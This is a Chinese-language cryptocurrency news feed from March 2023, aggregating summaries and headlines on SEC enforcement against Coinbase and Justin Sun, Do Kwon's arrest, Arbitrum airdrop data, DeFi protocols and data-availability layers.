    Chainfeeds 导读： SEC 主席 Gary Gensler 希望美国公众相信，加密创始人在 SEC 注册代币或加密产品和其他行业一样简单易行。但加密投资机构 Paradigm 指出，事实并非如此，其撰文就当前制度下向美 SEC 注册加密项目的可行性进行讨论，认为 SEC 需要做更多的事以对加密投资者提供适当保护。 文章来源： https://policy.paradigm.xyz/writing/secs-path-to-registration-part-i 文章作者： Paradigm 观点： Paradigm：Gensler 主席的公开评论和行动在两个方面都是自私的：试图通过错误地暗示大多数加密产品和代币是证券，因此应该在 SEC 注册，从而证明 SEC 对加密货币管辖权的违宪扩张是合理的，同时也描绘了加密行业由蓄意的违法者组成，他们主动选择不遵守简单的规则，理应受到美 SEC 的惩罚。【原文为英文】 内容来源 Paradigm：事实上，美国几乎没有注册代币产品的原因是因为 SEC 未能提供任何可操作的指导、发布单一规则或与加密行业的任何人建设性地接触以提供可行的安全代币监管框架。声称加密项目今天可以「直接进入并在美 SEC 注册」的说法是捏造的，如果美 SEC 真的想在加密资产领域提供适当的投资者保护，他们还需要做更多的事情。【原文为英文】 内容来源 Paradigm：我们希望，就在当前制度下向美 SEC 注册的加密项目的可行性达成共识，可以激发关于如何监管这个行业的真实、诚实的讨论，国会山是参与的场所。只有这样，才能为加密行业、加密怀疑论者、政策制定者、利益集团和美国公众提供解决 / 监管加密的途径。【原文为英文】 内容来源  ( 4 min )
    【英文长推】新项目前瞻｜速览 EIP-4844 Blob 区块浏览器 Blobscan 路线图
    Chainfeeds 导读： Blobscan 是第一个支持 EIP-4844 Blob 的区块浏览器，致力于使得 Blob 数据能够被访问并保存。Blobscan 撰文对其目前进展及未来三个月的规划进行了简要概述。 文章来源： https://twitter.com/blobscan/status/1638661682116325379 文章作者： Blobscan 观点： Blobscan：Blobscan 目前进展：1）聘请了一名设计师，并对用户界面进行了改造；2）使用 Rust 语言重写了 blob 索引器以提高效率；3）创建了一个 Docker，以方便开发链的整合；4）与最新的 EIP-4844 测试网进行同步。未来计划：1）4 月：发布核心功能，允许用户在最新的 devnet 版本上搜索 blob 数据；2）5 月：衡量标准和标签系统、REST API 并扩展至 Rollup 项目；3）6 月：优化数据库，完成文档和 API 功能。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Reddit 吸引了 Opensea 三倍的用户量进入 NFT 领域，解读其最新发布的 NFT 系列
    Chainfeeds 导读： 迄今为止，Reddit 已吸引超过 840 万人加入 NFT，其在不到一年的时间里吸引的用户数量是 OpenSea 自成立以来的 3 倍。Origins NFT 数据分析师 Kermit 撰推解析 Reddit 发行 NFT 的意义及优势，并介绍其最新的 NFT 系列。 文章来源： https://twitter.com/crypto__kermit/status/1638853004613898244 文章作者： Kermit 观点： Kermit：Reddit 的用户体验非常简洁，对于大多数普通人来说，你甚至不知道你正在与区块链技术进行交互。Reddit 有效地为用户构建了流畅无摩擦的体验，低 gas，正常用户不需要知道诸如 gwei、gas、助记词等术语。【原文为英文】 内容来源 Kermit：Reddit 的新系列是什么？是围绕「濒危动物」主题的 6 款作品。每个系列有 12 万个 NFT。所有系列总共有 720,000 个免费 NFT。如何铸造？1）拥有一个 Reddit 帐户；2）向左滑动并选择「头像样式」选项；3）选择你的 NFT；4）如果你还没有金库，请设置一个金库；5）完成，就这么简单。【原文为英文】 内容来源  ( 2 min )
    【英文长推】去中心化资产管理协议 Quasar 解读：能否为 Cosmos 生态带来流动性？
    Chainfeeds 导读： Cosmos 生态去中心化资产管理协议 Quasar 将于今天启动主网。加密研究员 Emperor Osmo 撰文对 Quasar 的运作机制、项目进展及优势进行了分析解读。 文章来源： https://twitter.com/Flowslikeosmo/status/1638888402656591876 文章作者： Emperor Osmo 观点： Emperor Osmo：Quasar 是一个主权应用链，通过使用 Interchain Vault 来管理数字资产。Vault 则是 Quasar 重要组成部分，用户可以创建和管理策略，存入流动性并进行资金转换。Quasar Vault 包括三个角色：管理 Vault 的管理员，人数取决于治理结果；创建资金池策略的策略师及为 Vault LP 提供流动性的流动性供应者。【原文为英文】 内容来源 Emperor Osmo：相较于其他项目，例如 yearn，Quasar 正在提供更多服务，包括整个 Interchain 收益率、资产自我托管及对策略参数的完全控制等。它的工作方式类似于 Osmosis，通过 CosmWasm，Quasar 用户将能够将流动性存入特定的策略中。【原文为英文】 内容来源 Emperor Osmo：Quasar 还将推出自己的代币 QSR，代币用途包括安全性、治理、向投保用户支付费用及创建 Vault。Quasar 最初将与 osmosiszone 整合允许用户使用 OSMO 代币创建策略，潜在用例包括奖励再委托、LP 奖励自动复合及自动的 LP 再平衡等。【原文为英文】 内容来源  ( 2 min )
    【英文长推】通过流动性指标研观察加密货币流动性：状况恶化
    Chainfeeds 导读： KaikoData 研究员 Conor Ryder 通过一些流动性指标观察加密货币的流动性，表明在经历过本月的银行业恐慌潮之后，加密货币流动性状况正在恶化，但乐观来看，至少交易量已从多年低点回升。 文章来源： https://twitter.com/conorryder/status/1638949262703599617?s=46&t=jVSVsk9kH4g92puFJkIbuw 文章作者： Conor Ryder 观点： Conor Ryder：1）由于做市商无法使用美元支付渠道，$BTC 流动性已降至 10 个月低点。2）由于美元支付渠道和加密银行关闭，美国做市商的运营面临前所未有的挑战。3）USD 交易对的价差呈现出相似的趋势，由于美国的不确定性而遭受更大的波动。【原文为英文】 内容来源 Conor Ryder：4）滑点的情况相同，在 10 万美元的卖单中，Coinbase 的 BTC-USD 货币对相较于本月初，已经增加了 2.5 倍的滑点，Binance 的 BTC-USDT 货币对的滑点则几乎没有变化。5）从交易量的角度来看，Coinbase 也在挣扎，而自 7 月份以来，Binance 已经获得了 20% 的市场份额，这在很大程度上要归功于他们的零费用交易对。【原文为英文】 内容来源 Conor Ryder：5）零费用交易对占币安交易量的 61%，但他们现在正式取消了除 BTC-TUSD 之外的所有交易对的零费用，意味着这些货币对的做市商必须降低利差，这导致他们在 Binance 上提供的流动性减少，转向利润更高的交易所 / 交易对。作为唯一的零费用交易对，BTC-TUSD 可能会看到大量流动性涌入，BTC-USDT 交易对的深度则下降 70%。【原文为英文】 内容来源 Conor Ryder：6）交易量方面，USD 货币对正被稳定币取而代之，与 USD 相比，稳定币现在占交易量的 95%。7）交易量至少已从 2022 年底的多年低点回升，随着成交量回升，只是等待流动性改善以实现加密货币持续的上升趋势，否则要为波动做好准备。【原文为英文】 内容来源  ( 2 min )
    【英文长推】错过 Arbitrum 空投？盘点 10 个即将到来的空投项目
    Chainfeeds 导读： Arbitrum 空投造富效应强烈，加密研究员 Miles Deutscher 盘点了十个即将到来的空投项目，并给出个人对交互以获得空投的提示及意见。 文章来源： https://twitter.com/milesdeutscher/status/1639030835478409216?s=46&t=jVSVsk9kH4g92puFJkIbuw 文章作者： Miles Deutscher 观点： Miles Deutscher：1）LayerZero；2）zkSync；3）Scroll；4）Sui；5）Starknet；6）Shardeum；7）Lens Protocol；8）Fuel；9）Sei；10）MetaMask。 内容来源 Miles Deutscher：提示及建议：1）享受过程，许多人获得可观的 $ARB 空投，就是因为他们享受成为其生态一份子的感觉，如果你必须选择，请选择你真正喜欢使用的区块链。2）组织是关键，请确保你有一个结构化的系统。3）使用 Discord，为你关注的每个空投生态系统创建一个 Discord 文件夹（或将它们组合在一个文件夹下），这样就永远不会忘记项目更新。【原文为英文】 内容来源 Miles Deutscher：4）限制期望，关于空投没有什么是可以保证的，有时候金额可以忽略不计，或者项目不发行空投。5）探索生态系统，这些协议中有许多在其下都有可能有空投的项目。因此，例如，如果你认为现在获得 LayerZero 的资格为时已晚，请开始在其生态系统中搜索未发布的项目。【原文为英文】 内容来源  ( 2 min )
    【英文】解读老牌算法稳定币 Frax Finance：稳定币、流动性质押机制及创新功能
    Chainfeeds 导读： Frax Finance 是一个创新的稳定币协议，采用了算法和抵押的组合方式来实现稳定性和可扩展性。且具有独特的双代币系统，而 AMO 的实施也提高了其资本利用率。数字资产信息平台 The Tie 撰文对其机制及组件进行了解读。 文章来源： https://research.thetie.io/defi-101-frax-finance/#Frax_Stablecoin 文章作者： The Tie 观点： The Tie：FRAX 稳定币系统能够动态适应市场条件及其需求以维持 1 美元的挂钩。当 FRAX 出现脱钩后会出现套利机会，用户能够在公开市场上进行铸造或赎回以帮助其重回挂钩。值得注意的是，在分数或算法阶段，FRAX 被铸造时会销毁 FXS，比例为铸造 FRAX 的非抵押部分。此外，该协议以每小时 0.25% 的速度改变抵押率以使其适应市场动态。未来 Frax Finance 还将实施一个基于拍卖的系统或 PID 控制机制以进一步减少为外部预言机价格数据的依赖。【原文为英文】 内容来源 TheTie：Frax Finance V2 引入了算法市场控制器（AMO），AMO 能够简化 Frax Finance 生态系统内操作，使得其抵押品在各种 DeFi 平台上能够自动化转移，而且还可以根据抵押品比率，将抵押品转移至最具有资本效率的平台，为 FRAX 稳定币带来更大的增长潜力，目前已经实施了几个关键 AMO，包括 Collateral Investor、Curve AMO、Uniswap V3 和 FRAX Lending。【原文为英文】 内容来源 TheTie：FrxETH 系统由两个组成：frxETH 和 sfrxETH。frxETH 作为与 ETH 挂钩的稳定币，利用 Frax 既定的稳定币管理方式将 ETH 引入 Frax 生态系统，质押 frxETH 后能够获得 sfrxETH ，可以积累质押收益，Frax 产生的所有收益都会分配给 sfrxETH 持有者。【原文为英文】 内容来源  ( 11 min )
    【英文】多维度权衡四大数据可用性层：以太坊、Celestia、EigenLayer 和 Avail
    Chainfeeds 导读： 通过访问更多数据可用性，Rollup 可以获得更高的吞吐能力。而以太坊、Celestia、EigenLayer 和 Avail 都旨在为 Rollup 提供可扩展的数据可用性，Celestia 的 Alex Beckett 从区块时间、最终性、数据可用性采用、轻节点及编码证明方案五个指标对这四个项目进行了分析对比。 文章来源： https://forum.celestia.org/t/a-comparison-between-da-layers/899 文章作者： Alex Beckett 观点： Alex Beckett：1）区块时间：每个块之间的时间长度，Celestia 为 15 秒、以太坊为 12 秒、Avail 为 20 秒。EigenLayer 则依赖于以太坊的区块时间和最终性；2）最终性和共识：以太坊使用 GHOST 和 Casper 的组合来实现共识，区块最终确定时间约为 12 至 15 分钟。EigenLayer 则继承了与以太坊相同的最终性。Celestia 使用 Tendermint 作为其共识协议，具有单槽最终性，其区块最终确定时间为 15 秒。Avail 采用 BABE 和 GRANDPA 1 的协议组合实现最终性，最好的情况下 Avail 的最终时间约为 20 秒；【原文为英文】 内容来源 Alex Beckett：3）数据可用性采样：允许轻节点只下载一小部分区块数据来验证数据的可用性。Celestia 和 Avail 在推出时都支持 DAS，并且正在测试网络上运行。EIP-4844 为以太坊引入了区块大小的增加，并为实现 danksharding 奠定了技术基础。EigenLayer 目前没有关于 DAS 的官方计划，但有迹象表明 DAS 可能会成为未来 EigenLayer 轻客户端的一个选择。【原文为英文】 内容来源 Alex Beckett：4）轻节点安全性：Celestia 和 Avail 的轻节点具有信任最小化的安全性，以太坊轻客户端不具备信任最小化的安全性。5）编码证明方案：以太坊、EigenLayer 和 Avail 都使用了有效性证明方案以确保区块被正确编码，而 Celestia 使用欺诈证明，但其可以随时切换编码证明方案。【原文为英文】 内容来源
    元宇宙基础设施解决方案 Hadean 完成了 500 万美元融资，去年 9 月已获 3000 万美元 A 轮融资
    元宇宙基础设施解决方案 Hadean 完成了 500 万美元融资，去年 9 月已获 3000 万美元 A 轮融资 据 VentureBeat 报道，元宇宙基础设施解决开发商 Hedean 已完成 500 万美元 A 轮扩展轮融资，投资方包括 Ericsson Ventures、Metrea Discovery、VU Venture Partners、Sanctor Capital 和 Tirta Ventures 等。Hadean 表示将加快基于云的元宇宙解决方案的发展。 内容来源  ( 4 min )
    MetaMask 已与 EIP-4361 兼容可支持以太坊登陆，并提供「域名绑定」功能
    MetaMask 已与 EIP-4361 兼容可支持以太坊登陆，并提供「域名绑定」功能 Web3 钱包 MetaMask 官方推特消息称，其已与 EIP-4361 兼容，支持使用以太坊登陆。还提供了「域名绑定」功能，可以检测来自恶意 URL 的签名 / 批准，MetaMask 和 Spruce 正合作实施此功能，以帮助用户在数字交互中控制他们的身份和数据。 内容来源  ( 2 min )
    美 SEC 发布谨慎对待加密资产证券的投资者警报
    美 SEC 发布谨慎对待加密资产证券的投资者警报 美国证券交易委员会（SEC）发布投资者警报，继续敦促投资者在考虑涉及加密资产证券的投资时要谨慎行事。投资者应该明白：加密资产投资或服务供应商可能不遵守适用法律，包括联邦证券法；对加密资产证券的投资可能会面临很大的风险，且往往是波动的；欺诈者利用加密资产引诱零售投资者进行投资，往往会造成很大损失；用户需要制定计划，并了解自己的承受能力。 内容来源  ( 12 min )
    纽约联邦检察官对 Do Kwon 提起刑事欺诈指控
    纽约联邦检察官对 Do Kwon 提起刑事欺诈指控 纽约联邦检察官在黑山警方逮捕 Terraform Labs 创始人 Do Kwon 数小时后指控其犯有欺诈罪。根据起诉书，Do Kwon 被指控串谋诈骗、商品欺诈、证券欺诈、电汇欺诈和串谋操纵市场。据一位发言人向 CoinDesk 证实，司法部将寻求将 Do Kwon 引渡至美国。 此前据韩联社报道，黑山当局逮捕一名疑似是 Terra 创始人 Do Kwon 的嫌疑人。韩国警察厅相关人士表示，已经用该嫌疑人的身份证确认了年龄、国籍、姓名，并通过照片资料确认与 Do Kwon 为同一人。韩国警方已经要求黑山警方提供指纹信息以进行最终确认，目前正在等待回复。 内容来源  ( 29 min )
    【数据】Arbitrum 空投领取数据 （Nansen 仪表盘）
    【数据】Arbitrum 空投领取数据 （Nansen 仪表盘） Nansen 数据显示，当前已有 815,589,375 枚 ARB 被认领，占此次空投供应量的 70%。此次空投符合条件的地址数为 625,143 个，已认领地址数为 429,457 个。ARB 当前报价为 1.39 美元，市值为 1,772,250,000 美元。通过该仪表盘可以追踪 ARB 供应情况、空投领取情况、ARB 代币信息、ARB 流动性、Smart Money 等数据。 内容来源

  • Open

    zkEVM生态探索：有哪些DeFi协议值得关注？
    zkEVM生态探索：有哪些DeFi协议值得关注？ – 深潮TechFlow 撰写：Asif Khan Read the full entry  ( 3 min )
    zkEVM生态探索：有哪些DeFi协议值得关注？
    zkEVM生态探索：有哪些DeFi协议值得关注？ – 深潮TechFlow 撰写：Asif Khan Read the full entry  ( 3 min )
    资产管理协议Quasar如何带领Cosmos DeFi迈向下一个流动性浪潮？
    资产管理协议Quasar如何带领Cosmos DeFi迈向下一个流动性浪潮？ – 深潮TechFlow 撰写：Emperor Osmo Read the full entry  ( 3 min )
    资产管理协议Quasar如何带领Cosmos DeFi迈向下一个流动性浪潮？
    资产管理协议Quasar如何带领Cosmos DeFi迈向下一个流动性浪潮？ – 深潮TechFlow 撰写：Emperor Osmo Read the full entry  ( 3 min )
    对话SEC委员Peirce：SEC如何看待加密货币行业监管？
    对话SEC委员Peirce：SEC如何看待加密货币行业监管？ – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 4 min )
    对话SEC委员Peirce：SEC如何看待加密货币行业监管？
    对话SEC委员Peirce：SEC如何看待加密货币行业监管？ – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 4 min )

  • Open

    Mysten Labs将以9600万美元回购FTX的股权投资和代币认购权证
    PANews 3月24日消息，据CoinDesk报道，根据法庭文件，Mysten Labs周三与FTX债务人达成协议，将以9630万美元的现金回购FTX对Mysten Labs的股权投资和SUI代币权证。这意味着FTX债权人能够回收更多资产。在最终与Mysten达成交易之前，FTX债务人保留了投资银行Perella Weinberg Partners (PWP)，以征求其他潜在买家的兴趣。去年8月，FTX Ventures领投了Mysten Labs的20亿美元B轮融资，几个月后FTX申请破产。FTX在本轮融资中投资1.01亿美元，获得了Mysten Labs约57万股优先股，并获得可购买约8.9亿枚SUI代币的权证。FTX为股权投资支付了约1.01亿美元，为代币认购权证额外支付了100万美元。目前FTX债务人可以继续“向其它第三方寻求更高的报价”，直到法院最终确定出售日期。  ( 4 min )
    MakerDAO已投票通过将USDC作为DAI主要储备资产的提案
    PANews 3月24日消息，据官方网站，MakerDAO社区已投票通过“保留USDC作为稳定币DAI的主要储备资产”的提案。该提案获得了79%的投票支持，其余人则更倾向于将储备资产多样化。本月早些时候，Circle的主要银行合作伙伴硅谷银行倒闭后，包括DAI和USDC在内的多个稳定币暂时与美元脱钩。  ( 4 min )
    Coinbase CEO：SEC最近的执法行动将损害美国的金融领导地位
    PANews 3月24日消息，据The Block报道，Coinbase首席执行官Brian Armstrong在周四的推特直播聊天中表示，美国证券交易委员会（SEC）最近的行动将美国的金融领导地位置于危险之中。与英国、巴西和新加坡等国家相比，美国在立法和银行业等领域“最落后”。如果不采取行动，情况可能会变得更糟。就在前一天，Coinbase收到了SEC的“韦尔斯通知”，调查对象涉及Coinbase上线的部分数字资产、质押服务Coinbase Earn、Coinbase Prime和Coinbase Wallet。Armstrong表示：“我们不应该受到这样的执法监管。Coinbase致力于获得明确的监管指南”。他还补充称，“在某种程度上，我们很乐意诉诸法庭”。在美国的机构中，SEC在反对加密货币方面是一个“真正的异类”。  ( 4 min )
    美国联邦检察官对Do Kwon提起刑事欺诈指控
    PANews 3月24日消息，据CoinDesk报道，Terraform Labs创始人Do Kwon在黑山被警方逮捕数小时后，纽约联邦检察官指控他犯有欺诈罪。根据起诉书，Kwon被控共谋欺诈、商品欺诈、证券欺诈、电信欺诈和共谋操纵市场。今年2月，美国证券交易委员会（SEC）已对Terraform和Do Kwon提起民事指控，指控他们欺诈投资者以及销售未注册证券和证券掉期。 此外据华尔街日报报道，曼哈顿联邦检察官办公室发言人说，司法部将寻求将Do Kwon引渡到美国。 据此前消息，黑山内政部长Filip Adzic宣布，Do Kwon于周四早些时候使用伪造证件在黑山波德戈里察机场被警方逮捕。韩国国家警察厅随后证实了他的身份。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 4 min )
    美国SEC发布投资者警示：谨慎对待加密资产证券
    PANews 3月23日消息，美国SEC今日发布投资者警示称，谨慎对待加密资产证券。根据联邦证券法，公司不得发行或出售证券，除非证券发行已在 SEC注册或可获得注册豁免。同样，法律要求证券经纪自营商、投资顾问、另类交易系统 (ATS)和交易所等各方在 SEC、州监管机构和/或自律组织 (SRO)（例如FINRA ）注册。此外，涉及借贷或质押的实体和平台加密资产可能受联邦证券法的约束。证券发行登记要求发行人向公众披露有关公司、发行和证券的重要信息。加密资产证券的未注册发行可能无法提供投资者做出明智决策所需的关键信息。 那些提供加密资产投资或服务的人可能不遵守适用法律，包括联邦证券法。 对加密资产证券的投资风险极高，而且往往波动较大。 欺诈者继续利用日益流行的加密资产来引诱散户投资者进行诈骗，往往导致毁灭性的损失。 制定投资计划以及了解您的风险承受能力和时间范围，对您的投资成功至关重要。  ( 4 min )
    韩联社：韩国官员证实Do Kwon在黑山被捕
    PANews 3月23日消息，据韩联社报道，韩国官员证实Do Kwon在黑山被捕。 警方要求黑山提供指纹信息，以确认此人是否真的是Do Kwon，目前正在等待回复。警察厅相关人士表示：“通过本人的身份证确认了年龄、国籍、姓名，并通过照片数据确认了与Do Kwon为同一人。” 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 4 min )
    币安将Arbitrum (ARB)开始交易时间提前至今晚11点
    PANews 3月23日消息，币安发布公告称，Arbitrum (ARB)交易开始时间原定于2023-03-24 01:00 (北京时间)，将提前至2023-03-23 23:00 (北京时间)。 此前报道，币安将于24日凌晨1点上线Arbitrum (ARB)的交易，现提前两小时。  ( 4 min )
    PA日报 | 美国SEC向Coinbase发出韦尔斯通知；Telegram现已支持用户在聊天中发送USDT
    今日要闻提示： 1.美国SEC向Coinbase发出韦尔斯通知，称其可能违反证券法 2.美国SEC起诉孙宇晨，指控其出售未注册证券和操纵市场 3.新沂市检察院对Ubank“炒币”骗局提起公诉，涉及传销交易量超100亿元 4.FTX将从Modulo Capital收回超过4亿美元，双方已达成和解协议并待法院批准 5.Telegram现已支持用户在聊天中发送USDT 6.Kraken：将从3月27日起暂停ACH存取款功能 7.数据：Coinbase CEO及其他高管过去30天已抛售价值740万美元的股票 8.Delphi Digital：Arbitrum分配模型中有超13.5万个女巫钱包 监管消息 美国SEC向Coinbase发出韦尔斯通知，称其可能违反证券法 据官方消息，Coinbase表示已经收到美国证券交易委员会（SEC）的“韦尔斯通知”，调查对象涉及Coinbase上线的部分数字资产、质押服务Coinbase Earn、Coinbase Prime和Coinbase Wallet。Coinbase表示，韦尔斯通知中并没有提供很多信息。SEC工作人员只是表示，已经发现了潜在的违反证券法的行为。Coinbase要求SEC指出其平台上线的哪些资产可能是证券，但遭到SEC拒绝。在SEC今天发出通知之前，Coinbase在过去几个月里向SEC提供了多项关于注册的建议，但SEC最终都拒绝回应。Coinbase重申，不会上线证券，也不会向客户提供证券产品。Coinbase首席法务官Paul Grewal表示：“如果有必要，我们欢迎法律程序，以提供我们一直倡导的透明度，并证明SEC在涉及数字资产的问题上存在不公平或不合理。在那之前，一切业务照常运行。”Coinbase曾公开批评SEC的监管结构模糊，并于去年7月请求SEC解释证券法如何适用于数字资产。SEC主席Gary Gensler曾在多个场合表示，他认为加密交易所在美国是作为未注册的证券交易所运营的，它们上线的绝大部分代币类似于证券。 对此，Coinbase CEO表示，Coinbase没有违法，愿意出庭证明。 美国SEC起诉孙宇晨，指控其出售未注册证券和操纵市场 据CoinDesk报道，美国证券交易委员会（SEC）周三起诉孙宇晨，指控其出售和空投未注册证券、实施欺诈和操纵市场。SEC在一份新闻稿中表示，它正在起诉孙宇晨、波场基金会、BitTorrent基金会和BitTorrent(现被称为Rainberry)销售未注册加密资产证券TRX和BTT。SEC进一步指控，被告通过“广泛的洗盘交易”计划操纵TRX二级市场。此外，SEC还起诉林赛·罗韩、杰克·保罗、Soulja Boy、Lil Yachty、Ne-Yo、阿肯和米歇尔·梅森等名人，指控他们在未披露代言费的情况下非法宣传TRX和BTT。这些名人中的大多数都达成了和解。SEC表示，孙宇晨试图通过洗盘交易计划人为提高TRX的交易量，他让自己的员工“在他控制的两个加密交易平台账户之间进行了超过60万笔TRX洗盘交易”，每天交易量在450万至740万枚TRX之间。孙宇晨还将TRX出售到二级市场，通过非法发行和销售未注册代币获利3100万美元。受此消息影响，TRX短线下跌，24小时跌幅达10.8%。 美联储加息25个基点 美联储将基准利率上调25个基点至4.75%-5.00%区间。这是美联储自去年3月以来连续第九次加息，也是连续第二次加息幅度放慢至25个基点。美联储FOMC声明中声称，美国银行业稳健、有弹性，但一些事件将拖累经济增长。美联储将继续以相同的步伐减少国债和抵押贷款支持证券的持有量，进一步收紧政策可能是合适的。市场预计美国加息周期接近尾声，今年底之前或开启降息令利率降至4.25%-4.5%，以应对经济放缓。 此外，美联储主席鲍威尔表示，今年降息不是我们的基本预期，不考虑为所有未受保护的银行存款提供保险。 新沂市检察院对Ubank“炒币”骗局提起公诉，涉及传销交易量超100亿元 据徐州检察发布官方微信公众号，江苏省新沂市检察院以涉嫌组织、领导传销活动罪对“Ubank”虚拟货币资金盘一案依法提起公诉，“U币”全称为“Ubank”虚拟货币交易平台，办案中发现，该平台团队注册使用人数超10万人，涉及传销交易量超100亿元。法院一审作出有罪判决，33名被告人分别被判处二年到六年不等的有期徒刑。由于被告人提起上诉，目前，该案正在二审审理中。 与此同时，新沂市检察院开展追赃挽损工作，全力配合公安机关开展证据审查，对各被告人投资获益的资金及“Ubank”以投资名义转移的资金及时予以查扣，共计追赃挽损8000万元。此外，还引导侦查机关落实了与“Ubank”签约的10余家合作公司，再次追缴赃款上缴国库。 NFT NFT市场Magic Eden推出Web3游戏中心Magic Eden Games 据美通社报道，NFT市场Magic Eden宣布推出Web3游戏中心Magic Eden Games，旨在扩大Web3游戏开发者的玩家基础及其Web3游戏社区。 游戏开发者与Magic Eden Games合作时，每个游戏都会收到自己的“探索游戏”页面，其中包含游戏描述、工作室描述、视频和其他媒体，以及游戏特定NFT市场。游戏开发者还可以通过在Magic Eden Launchpad和在所有区块链上强制执行创作者版税的二级市场上铸造收藏品来产生收入。 作为公司进军Web3游戏领域的一部分，Magic Eden最近宣布推出Mint Madness活动，与Web3游戏项目相关的十多个NFT将在Polygon、Solana和Ethereum上免费铸造。 环球音乐集团为其商品和服务提交NFT相关商标申请 据知识产权律师Eliana的推文，环球音乐集团（UMG）已向美国专利商标局为其商品和服务提交了两份商标申请，包括第41类：不可下载的虚拟数字商品，即经过NFT认证的音乐及音乐相关娱乐领域的多媒体、图像、视频、音乐和音频文件；第9类：由NFT认证的音乐和音乐相关娱乐领域的视频、音乐和音频文件。 元宇宙 Axie Infinity的Homeland Season 1已结束，新赛季将在3周左右上线 据官方推特，链游Axie Infinity的Homeland Season 1已结束，将尽快发布第1赛季的奖励和统计数据，新赛季将在3周左右回归。 项目动态 Bankless：Do Kwon在黑山被捕 据Bankless报道，Terra联合创始人Do Kwon在黑山波德戈里察被捕，但Bankless没有引用消息来源。 黑山内政部长在推特表示，黑山警方拘留了一名疑似通缉犯之一的韩国公民 Do Kwon，正在等待官方确认身份。他因为伪造证件在波德戈里察机场被拘留，韩国、美国和新加坡也提出了拘留要求。 FTX将从Modulo Capital收回超过4亿美元，双方已达成和解协议并待法院批准 据路透社报道，根据特拉华州美国破产法院的一份文件，加密交易所FTX已与对冲基金Modulo Capital达成一项协议，FTX将从Modulo收回4.04亿美元的现金，即收回FTX在2022年向Modulo汇出的97%的资金。Modulo还放弃对FTX加密交易所持有的5600万美元资产的要求。作为和解协议的一部分，FTX和Alameda将放弃对Modulo的任何所有权。据悉，该协议必须得到美国破产法官John Dorsey的批准。 根据法庭文件，FTX的附属对冲基金Alameda Research从2022年5月开始的一系列转账中向Modulo汇款了4.75亿美元，当时FTX正在亏损并走向破产。备案文件显示，Alameda在FTX创始人Sam Bankman-Fried（SBF）的指导下，已支付2500万美元收购Modulo的股份，并向Modulo管理的投资基金出资4.5亿美元。 Telegram现已支持用户在聊天中发送USDT 据CoinDesk报道，Telegram 用户现可以在聊天中互相发送 USDT。USDT 已被添加到 Telegram 的@wallet 机器人中，扩展了该消息传递应用程序买卖加密货币的功能。交易通过 Tron 网络(TRC-20)进行。 去年，比特币 (BTC) 和 toncoin (TON)被添加到@wallet 的市场，后者也可以在聊天中发送。 Coinbase将从3月29日起暂停Algorand质押奖励 据CoinDesk报道，加密交易所Coinbase (COIN)周三告知其客户，从3月29日起，它将不再提供Algorand代币（ALGO）质押奖励。该代币仍可用于交易。Coinbase发言人没有给出终止Algorand奖励的原因，但在一封电子邮件中表示，“截至3月31日的Algorand治理期的所有奖励将在4月初支付”。Coinbase发言人称：“Coinbase与资产发行人合作提供奖励，并不断重新评估我们的产品以确保最佳的客户体验。我们决定此时停止Algorand (ALGO)奖励”。 Algorand基金会的首席执行官Staci Warden在推特上表示，此举是考虑到监管审查。Warden称：“Coinbase现在通知我们，他们正在根据最近的监管审查评估他们的服务，因此，他们将不再支持零售客户的Algo质押奖励。” 币安再次对现货比特币交易收取费用，仅保留TUSD-BTC交易对的促销 据华尔街日报报道，加密交易所币安的一位发言人证实，继去年夏天将现货比特币交易费用降至零后，该公司已再次开始对现货比特币交易收费。据币安网站介绍，目前该交易所对现货比特币交易收取0.1%的费用。 币安发言人周三称：“将交易费用降至零的举措是一种促销，该促销计划持续6个月；且公司去年7月给用户的信息称，该计划在另行通知前有效。”她说，用户仍然可以在币安上免费交易TUSD-BTC交易对。 报道称，事实证明这种免费的方式对币安来说是有效的；Kaiko的研究总监Clara Medalie表示，截至上周，币安上61%的交易量是零费用比特币交易。Medalie强调，与大多数流动性交易所相比，该措施帮助币安将其市场份额从去年7月的50%增加到72%。不过Medalie认为，币安在取消了大部分零费用交易后，其市场份额可能会下降。 以太坊客户端Lighthouse发布v4.0.0版本，支持主网Shapella升级 以太坊客户端Lighthouse开发团队Sigma Prime在推特上表示，Lighthouse已发布v4.0.0版本，此版本对所有主网用户都是强制性的。该版本支持启用以太坊主网Shapella升级，在以太坊主网升级之前未更新到Lighthouse v4.0.0或更高版本的节点将停止跟随链，并且需要重新同步。对于利益相关者，这将导致错过奖励和惩罚。 此前消息，以太坊主网预计于UTC时间4月12日22:27:35（北京时间4月13日06:27:35）激活上海（Shapella）升级。 Avalanche X链部分节点仍处于离线状态，交易严重滞后 据CoinDesk报道，虽然Avalanche C链今日早间在出现宕机后已恢复出块，但Avalanche X链部分节点目前仍处于离线状态，链上数据显示，X链的网络质量已经下降，只能处理少量交易。它似乎每小时只能处理几笔交易，这使得该链几乎无法使用。 超过90%的验证者已经升级到最新版本的AvalancheGo，这高于今天早些时候的12%。虽然Avalanche尚未就此次中断发表公开声明，但许多贡献者正在其GitHub论坛上努力解决该问题。 据悉，Avalanche由三个可互操作的区块链组成：X链（交易链）、C链（合约链）和P链（平台链）。 OP Labs：Bedrock升级将为Optimism主网桥引入新的两步取款流程，可提高安全性 OP Labs在推特上表示，Bedrock升级将为Optimism主网桥引入一个新的两步取款流程，这将提高其安全性并使攻击更加困难。 L1 的新提款流程分为两部分：证明和最终确定。要从Optimism主网提取资金，用户必须在包含提款交易的L2区块的输出出现在L1上时立即提交取款证明。平均而言，此输出需要大约一个小时才能出现在以太坊上。一旦提交了提现证明，用户等待标准的7天结束窗口，然后用户才能在L1上完成提现。 美财政部研究：数字货币或会降低金融系统波动性，但会给银行带来风险 美国财政部金融研究办公室近日发布的研究报告称，金融摩擦可能会限制数字货币的潜在收益，无论是作为央行数字货币(CBDC)公开发行还是作为稳定币私下发行。此外，当数字货币完全集成时，金融系统的波动性会降低，家庭福利会改善，但银行部门的稳定性会受到影响。 对于数字货币对银行业影响，报告称，存款利差的下降是随着数字货币发行而增加危机可能性的主要原因。完全集成的数字货币会降低银行存款利差，尤其是在危机期间，这会限制银行在损失后进行资本重组的能力。此外，由于银行在不利冲击后重建资产的能力较弱，因此银行的资产平均水平较低，估值大幅下降，银行业陷入危机或陷入困境的可能性会大大增加。 